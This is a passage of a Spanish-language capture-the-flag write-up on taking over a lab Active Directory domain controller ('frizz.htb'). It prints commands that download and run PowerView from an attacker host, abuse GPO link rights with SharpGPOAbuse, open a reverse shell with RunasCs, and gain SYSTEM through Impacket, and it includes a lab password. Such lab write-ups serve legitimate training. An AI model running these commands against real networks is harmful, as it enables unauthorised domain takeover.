PS C:\Users\M.SchoolBus> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
InvalidOperation:
Line |
69 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'R …
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| Method invocation failed because [System.AppDomain] does not contain a method named 'DefineDynamicAssembly'.
InvalidOperation:
Line |
70 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName …
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| You cannot call a method on a null-valued expression.
<SNIP>
Obtenemos muchos errores. ¿Por qué? Porque la versión que está corriendo de PowerShell
es la 7.4.5
:
PS C:\Users\M.SchoolBus> $PSVersionTable.PSVersion
Major Minor Patch PreReleaseLabel BuildLabel
----- ----- ----- --------------- ----------
7 4 5
Por ende, simplemente cambiamos a la versión 5.1
de PowerShell
y tratamos de importar nuevamente el módulo:
PS C:\Users\M.SchoolBus> powershell -version 5.1
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\M.SchoolBus> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
Funcionó.
Utilizamos la función Get-DomainUser
para obtener información acerca del usuario actual en el dominio:
PS C:\Users\M.SchoolBus> Get-DomainUser -Identity M.SchoolBus -Domain frizz.htb | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol
name : M.SchoolBus
samaccountname : M.SchoolBus
description : Desktop Administrator
memberof : {CN=Desktop Admins,CN=Users,DC=frizz,DC=htb, CN=Remote Management Users,CN=Builtin,DC=frizz,DC=htb}
whencreated : 10/29/2024 2:27:03 PM
pwdlastset : 10/29/2024 7:27:03 AM
lastlogontimestamp : 3/18/2025 5:52:11 AM
accountexpires : NEVER
admincount :
userprincipalname : M.SchoolBus
serviceprincipalname :
mail :
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Somos miembros del grupo Desktop Admins
(tal cual se puede ver en la propiedad memberof
).
En entornos Active Directory
, siempre vale la pena enumerar las Group Policy Object
(GPOs
), dado que pueden ser utilizadas para escalar privilegios. Enumerando Organizational Units
(OUs
) de GPOs
linkeadas obtenemos:
PS C:\Users\M.SchoolBus> Get-DomainOU | select name, gplink
name gplink
---- ------
Domain Controllers [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=frizz,DC=htb;0]
Class_Frizz
Tenemos una OU
llamada Domain Controllers
y otra llamada Class_Frizz
.
Revisamos cuáles máquinas están afectadas por la GPO
de nombre Domain Controllers
:
PS C:\Users\M.SchoolBus> Get-DomainOU | foreach { $ou = $_.distinguishedname; Get-DomainComputer -SearchBase $ou -Properties dnshostname | select @{Name='OU';Expression={$ou}}, @{Name='FQDN';Expression={$_.dnshostname} } }
OU FQDN
-- ----
OU=Domain Controllers,DC=frizz,DC=htb frizzdc.frizz.htb
Esta GPO
afecta a la máquina frizzdc.frizz.htb
, la cual es la máquina actual:
PS C:\Users\M.SchoolBus> $env:computerName
FRIZZDC
Además, si revisamos qué usuarios pueden modificar este tipo (OUs
) de GPOs
obtenemos:
PS C:\Users\M.SchoolBus> Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, @{Name='ResolvedSID';Expression={ConvertFrom-SID $_.SecurityIdentifier}} | Format-List
ObjectDN : OU=Domain Controllers,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus
ObjectDN : OU=Class_Frizz,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus
El usuario M.SchoolBus
puede crear links al OU
Domain Controllers
, permitiéndole agregar una GPO
a ésta.
Resumiendo:
- Hay
GPOs
en la máquina víctima. - Una de estas
GPOs
es llamadaDomain Controller
(que viene por defecto en los dominios) y afecta a la máquinaFRIZZDC
(la cual es la máquina actual). - Nuestro usuario,
M.SchoolBus
, es capaz de crear nuevos links sobreDomain Controller
, la cual es unaGPO
de tipoOU
. - Esto nos permite crear una nueva tarea “maliciosa” a través de un link and y ejecutarla a través de la
GPO
maliciosa. Dado que somos capaces de crear links en laOU
Domain Controller
, podemos agregar aquellaGPO
con una tarea maliciosa a aquellaOU
.
Para agregar una GPO
a la OU
llamada Domain Controller
, podemos utilizar la herramienta SharpGPOAbuse
. Podemos descargarla desde su repositorio de Github y compilarla en una máquina Windows
; o podemos descargar un binario pre-compilado desde este repository. Iré por la segunda opción.
Descargado el binario, lo transferimos a la máquina víctima. Creamos una nueva GPO
llamada gunzf0x
y la linkeamos a Domain Controller
:
PS C:\Users\M.SchoolBus> New-GPO -Name gunzf0x | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes
GpoId : 90738160-1f8b-43d1-bd1f-1c5eacc5e882
DisplayName : gunzf0x
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2
Y usamos SharpGPOAbuse
para agregar nuestro usuario (M.SchoolBus
) como un administrador local:
PS C:\Users\M.SchoolBus> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName gunzf0x
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "gunzf0x" is: {90738160-1F8B-43D1-BD1F-1C5EACC5E882}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{90738160-1F8B-43D1-BD1F-1C5EACC5E882}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
Podríamos esperar por horas y esperar a que las GPO
tomen efecto, lo cual puede tomar horas… o podemos forzarla ejecutando:
PS C:\Users\M.SchoolBus> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
Usualmente debemos desloguearnos y loguearnos para que estos cambios de hagan efectivos. Podemos desconectarnos de nuestra sesión como M.SchoolBus
y tratar de reconectarnos por SSH
:
❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p '!suBcig@MehTed!R' ssh -o stricthostkeychecking=no -K M.SchoolBus@frizz.htb
M.SchoolBus@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).
Pero esta vez obtenemos un error de permisos y no podemos loguearnos.
No obstante, si vamos a la sesión del usuario f.frizzle
, podemos corroborar que el usuario M.SchoolBus
ha sido agregado al grupo Administrators
:
PS C:\Users\f.frizzle> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.
SSH
como el usuario M.SchoolBus
dado que éste es ahora un usuario Administrador, y los usuarios Administradores no se pueden conectar a través de SSH
tal cual se explica aquí. Los Administradores deben explícitamente ser autorizados a través de un archivo de configuración de SSH
en Windows
para que se les permita loguearse por medio de SSH
tal cual explica el post.Manera 1: Acceder al usuario M.SchoolBus usando RunasCs Link to heading
Podemos tratar de pivotear al usuario M.SchoolBus
internamente usando RunasCs
. Transferimos su binario (el cual puede ser descargado desde su repositorio Github) a la máquina víctima, empezamos un listner con netcat
por el puerto 443
y ejecutamos RunasCs
en la sesión del usuario f.frizzle
:
PS C:\Users\f.frizzle> .\RunasCs.exe M.SchoolBus '!suBcig@MehTed!R' cmd.exe -r 10.10.16.4:443 -t 10 --bypass-uac
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-b49fd$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2764 created in background.
Obtenemos una shell como el usuario M.SchoolBus
; pero esta vez el usuario se encuentra en el grupo Administrators
:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.60] 63780
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
frizz\m.schoolbus
Podemos extraer la flag de root
desde el Desktop del usuario Administrator
.
Manera 2: Exportar un ticket de Kerberos como el usuario M.SchoolBus privilegiado y usar éste para escalar privilegios Link to heading
Dado que hemos visto que el usuario M.SchoolBus
es ahora un miembro del grupo Administrators
, podemos solicitar un nuevo TGT
para este usuario (después de que este usuario haya sido agregado al grupo Administrators
):
❯ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R' -dc-ip frizz.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in M.SchoolBus.ccache
Usamos este ticket obtenido, el cual será un ticket de un usuario privilegiado. Por último, podemos usar el ticket junto con la herramienta smbexec.py
de Impacket
para invocar una shell de un usuario privilegiado en el sistema:
❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-smbexec -k -no-pass frizzdc.frizz.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
~Happy Hacking.